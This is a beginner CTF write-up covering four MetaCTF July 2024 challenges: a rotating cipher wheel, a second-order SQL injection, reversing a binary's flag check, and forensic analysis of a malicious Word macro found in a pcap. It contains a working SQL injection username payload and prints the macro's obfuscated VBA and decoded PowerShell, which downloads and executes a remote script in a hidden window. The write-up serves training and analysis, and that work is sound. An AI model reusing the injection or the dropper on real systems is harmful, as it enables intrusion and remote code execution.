️🏴 MetaCTF July 2024 Flash CTF
A monthly mini CTF competition organized by MetaCTF and Antisyphon.
2024-07-19
A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security. There will be 5 challenges and you will have 2 hours to solve as many as you can. This is a beginner-friendly CTF.
Details here: https://app.metactf.com/join/jul2024.
Wheel Of Mystery
My friend wanted to communicate using a secret cipher.
He gave me the message
RKPUYPFCIAKKJMYZZJT
along with this wheel:Can you decrypt the message he sent?
It's a spinny cipher-wheel-thing!
The outer, static wheel appears to be the uppercase alphabet plus braces; the inner wheel, which rotates, is a seemingly-randomised alphabet, again with braces.
Given the rotation, it's not clear in which position the wheel is supposed to be so…brute force!
Setting up the contents of both sections of the wheel:
import string
from collections import deque
outer = string.ascii_uppercase + "{}"
inner = deque("COSDHG{QNFUVWLEZYXPTKMR}ABJI")
assert len(outer) == len(inner)
msg = "RKPUYPFCIAKKJMYZZJT"
Using a deque
, it's possible to rotate the inner wheel easily enough:
for rotation in range(len(outer)):
inner.rotate(rotation)
lookup = dict(zip(outer, inner))
print("".join(lookup[c] for c in msg))
That produces a lot of gibberish but in there is:
METACTF{WHEELYCOOL}
Second Breakfast
This diner makes some of the best breakfast around, can you help me test their website? I hope that if I find a vulnerability, they might give me a free second order!
Here's a link to their website. They also gave me a copy of their source code.
As part of the setup, the flag is added directly into the database:
INSERT INTO flags (flag) VALUES ('FLAG_REDACTED_GO_GET_THE_REAL_ONE');
Most of the site correctly uses parameterised queries, save one endpoint:
@app.route('/profile')
def profile():
if 'username' not in session:
return redirect(url_for('login'))
username = session['username']
conn = get_db_connection()
cursor = conn.cursor()
query = f"SELECT username, created_at FROM users WHERE username='{username}'"
cursor.execute(query)
user = cursor.fetchone()
That would require a user whose username
will fulfil a SQLi to retrieve the
flag ("second order SQLi, for all the cool kids). Thankfully, it's possible to
register a user with exactly that.
Creating a user with the username
:
meta' UNION SELECT flag, CURRENT_TIMESTAMP FROM flags WHERE '1' = '1
…causes the query
in the above to retrieve the flag
as the username
and
created_at
as the current time, resulting in a greeting of:
<h1>Welcome, MetaCTF{Ill_h4v3_7h47_s3c0nd_0rd3r_0f_SQLi_pl3453}</h1>
Flag Appraisal
My buddy started a pawn shop and made a bet that I could never get a counterfeit flag past him.
I know exactly how his system works, so I'm certain I can sneak one past him. Check out his shop application here.
Courtesy of Decompiler Explorer, the main function is:
bool FUN_0010128e(void)
{
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
char local_78 [104];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Welcome to my Pawn Shop, go ahead and show me the flag you want appraised: ");
fgets(local_78,100,stdin);
sVar2 = strcspn(local_78,"\n");
local_78[sVar2] = '\0';
sVar2 = strlen(local_78);
FUN_00101199(local_78,sVar2 & 0xffffffff);
iVar1 = strncmp(local_78,&DAT_00102058,0x25);
if (iVar1 != 0) {
puts("Unfortunately, your flag here looks to be a counterfeit.");
}
else {
puts("Well good news, your flag looks to be authentic! Best I can do is $2.");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return iVar1 != 0;
}
The user input is passed through a function and, if it matches DAT_00102058
and is 37 bytes (0x25
above), is valid.
That function, FUN_00101199
, is:
void FUN_00101199(long param_1,uint param_2)
{
uint local_10;
int local_c;
local_10 = 0;
for (local_c = 0; local_c < (int)(param_2 - 1); local_c = local_c + 2) {
local_10 = local_10 * 0x21 ^
*(char *)(param_1 + (long)local_c + 1) * 0x1fd ^ *(char *)(param_1 + local_c) * 0x101
;
*(char *)(param_1 + local_c) = (char)local_10;
*(char *)(param_1 + (long)local_c + 1) = (char)(local_10 >> 8);
}
if ((param_2 & 1) != 0) {
*(byte *)(param_1 + (long)(int)param_2 + -1) =
(char)local_10 * '!' ^ *(byte *)(param_1 + (long)(int)param_2 + -1);
}
return;
}
Translating that into Python:
def FUN_00101199(input_: list[int]):
state = 0
length = len(input_)
for i in range(0, length - 1, 2):
state = (input_[i] * 257) ^ (input_[i + 1] * 509) ^ (state * 33)
input_[i] = state & 0xff
input_[i + 1] = (state >> 8) & 0xff
if length % 2 != 0:
state = (input_[length - 1] * 257) ^ (state * 33)
input_[length - 1] = state & 0xff
DAT_00102058
is visible in memory as (again, translated to Python):
DAT_00102058 = [
0x9C,
0x85,
0xB5,
0x8D,
0x12,
0xA0,
0x9B,
0x10,
0xE8,
0x1F,
0x2B,
0xB3,
0xDB,
0x4A,
0x87,
0x1E,
0x39,
0xBD,
0x03,
0x32,
0xC6,
0xD0,
0x82,
0xDB,
0xCD,
0x46,
0x82,
0xA1,
0x6D,
0x09,
0x80,
0xE5,
0x6C,
0x7F,
0x6C,
0x82,
0x91,
]
So, given DAT_00102058
as input, I need a function which reverses
FUN_00101199
to produce the flag.
This is the best I could come up with:
def _99110100_NUF(dat: list[int]):
state = 0
length = len(dat)
input_ = [0] * length
for i in range(0, length - 1, 2):
save_state = dat[i] | (dat[i + 1] << 8)
for j in range(128):
for k in range(128):
_state = (j * 257) ^ (k * 509) ^ (state * 33)
if _state & 0xFFFF == save_state:
input_[i], input_[i + 1] = chr(j), chr(k)
break
else:
continue
break
state = save_state
for i in range(128):
if ((i * 257) ^ (state * 33)) & 0xFF == dat[length - 1]:
input_[length - 1] = chr(i)
break
return "".join(input_)
…and it works!
(…eventually, after some fighting with that last character…)
❯ ./pawn_shop.py
MetaCTF{c0un73rf3171ng_7h3_p4wn_$h0p}
Keeper In The Net
Our customer believes that something suspicious was going on in their network. Can you save the day and figure out what the attacked did?
Here's a pcap of the incident.
Via WireShark, the provided KeeperInTheNet.pcapng
contains a HTTP GET for a
Drill_2024.doc
file. Running olevba
(courtesy of
decalage2/oletools
) over that
reveals a whole caboodle of VBA macros.
One function, JERWafGg()
, appears to be a base64-decode; it's later called to
decode the result of a series of base64 concatentations:
HAdjTg8 = Chr(88)
jyaiOGq8Y = "cG93Z"
NVuAyL = jyaiOGq8Y & HAdjTg8
WcpUY = "JzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbm"
pYdk3 = "V3LW9iamVjdCAtQ29tT2JqZWN0IFdTY3JpcHQuU2hlbGw7JHd"
s7qEy6 = "lYmNsaWVudCA9IG5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmRv"
xS64130k = WcpUY & pYdk3 & s7qEy6
yMTzNDzh = NVuAyL & xS64130k
DOwIWXYbJ = "bSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1cmxzID0gJ2h0dH"
t5ysx = "BzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vaGFja2RhbWV0YXZlcnNlLzhjYzk0NzFjMGUwMTJjNjk2NjhkYjkzY2M"
hjLGi = "2YzkyN2U1L3Jhdy8yZTg1YjY3M2I4ZmFmNWQ5NzU4ZTlhNTk0YjcxYWY4MmNiMTY3YzdhL2dpdGh1Yi5wczEnLlNw"
OQfe5BhbT = DOwIWXYbJ & t5ysx & hjLGi
yMTzNDzhyQ = yMTzNDzh & OQfe5BhbT
WdpeGhumO = "bGl0KCcsJyk7JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgN"
ThHBT3JqI = "jU1MzYpOyRwYXRoID0gJGVudjp0ZW"
tB65ZJd9 = "1wICsgJ1wnICsgJG5hbWUgKyAnLnB"
xRgONcKLq = WdpeGhumO & ThHBT3JqI & tB65ZJd9
jqfwUJ = "zMSc7Zm9yZWFja"
Uv10MF = "CgkdXJsIGluICR1cmxzKXt0cnl7JHdlYmNsaWVudC5Eb3dubG9h"
u6V3e = "ZEZpbGUoJHVybC5Ub1N0cmluZ"
tnavr6 = jqfwUJ & Uv10MF & u6V3e
yMTzNDzhy = xRgONcKLq & tnavr6
JDqWL8ju = "ygpLCAkcGF0aCk7SUVYICRwYXRoO2"
FtLGF = "JyZWFrO31jYXRjaHt3cml0ZS1ob3N0ICRfLkV4Y2VwdGlvbi5NZXNzYWdlO319"
yOa0X2 = JDqWL8ju & FtLGF
MTzNDzhyQ = yMTzNDzhy & yOa0X2
…finally being called as:
f6tDZP72 = JERWafGg(yMTzNDzhyQ & MTzNDzhyQ)
…the result of which is executed by:
WinExec f6tDZP72, w7VGb
The base64-decoded content being executed therein is:
powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'https://gist.githubusercontent.com/hackdametaverse/8cc9471c0e012c69668db93cc6c927e5/raw/2e85b673b8faf5d9758e9a594b71af82cb167c7a/github.ps1'.Split(',');$name = $random.next(1, 65536);$path = $env:temp + '\' + $name + '.ps1';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);IEX $path;break;}catch{write-host $_.Exception.Message;}}
The contents of that Gist appear to be yet more PowerShell containing another
base64 chunk, followed by a dECOMprESS
call:
import base64
import requests
import zlib
data = requests.get(
"https://gist.githubusercontent.com/hackdametaverse/8cc9471c0e012c69668db93cc6c927e5/raw/2e85b673b8faf5d9758e9a594b71af82cb167c7a/github.ps1"
).text[167:-106]
decompress = zlib.decompressobj(-zlib.MAX_WBITS)
decompressed = decompress.decompress(base64.b64decode(data))
print(decompressed.decode())
That produces quite a bit of obfuscated code.
There's hints of encryption in here, via a function DECry'Pt(
function,
which points to AES as the algorithm of choice:
'reate','AesMa','C','t','jec','nagedOb')
.
…and after much munging of strings, there's this:
${VP`gN`g`cq0KcY`j3O`oP22`JR} = ("{1}{5}{2}{6}{4}{7}{3}{0}"-f 'SU=','rn','VK5','dMoH','SOhIsUcaMOg4OL8+jCoH','17r','zsx','FYO1f+')
…which, thankfully, translates to:
PS /> ("{1}{5}{2}{6}{4}{7}{3}{0}"-f 'SU=','rn','VK5','dMoH','SOhIsUcaMOg4OL8+jCoH','17r','zsx','FYO1f+')
rn17rVK5zsxSOhIsUcaMOg4OL8+jCoHFYO1f+dMoHSU
There's an AES key which is encrypting…what exactly?
Dumping all the HTTP objects reveals a series of HTTP forms, the first of which is:
result=rbqA0td2aIZzzE4Q5LYitDDQcpMz%2FgSbMWbTceiStH3ZK8VvGQxF%2BOc7%2Fp2PSgDw
After a lot of tinkering with CyberChef:
- stripping the form-field prefix
- URL-decoding the input
- AES decrypting it (with the key as both key and IV)
- dropping the first 16 bytes
…the final payload being:
rbqA0td2aIZzzE4Q5LYitDDQcpMz%2FgSbMWbTceiStH3ZK8VvGQxF%2BOc7%2Fp2PSgDw
oL%2FlVfK65Jw4qEiwQGpqhX8OEFEgtkKe%2FN9JA85y7Ur%2BiXZy1QipEYrMYARwm3hNEeIBhGkrQk5ypfdZQ51lPE4Bsn7RNiD6mrzzFd%2FJfgSceATcyB8kxAs0xrvOfTYW
I5liQ%2FBaSNMb1PhIVz8LMltNpCrmF4ThvykJwL0CKa8%3D
I4xR%2BpGs07nJ6IyqZSzTH%2FABiKzvZac2UYjjj5ZpOMdMQdV1LYoOCeBniQKjwsSNxLmqodg1ZbJ%2FQ9vErtoMxfMvMSJ6fsAcP4myqxD%2FLMjANpm9XPp9LdNjU9w3Stpm
wRMk5d%2FagURzTFrvU4E3Y2TJBuPKr9hdyoxzy59a3WQ%3D
OvY2N3B4gzO%2FYIT6Kjy9%2Bp9EhFmCVEYXl3AD4qHWNbw8T7hSq%2F5PTiKmB8nSN8%2BgtDy4hOIZwOWN8Emz%2BiiIM7GBivi%2F0hmfREPF%2BrWutMGCGM%2Bxfe36h3AG
…that decrypts to:
VALID desktop\ieuser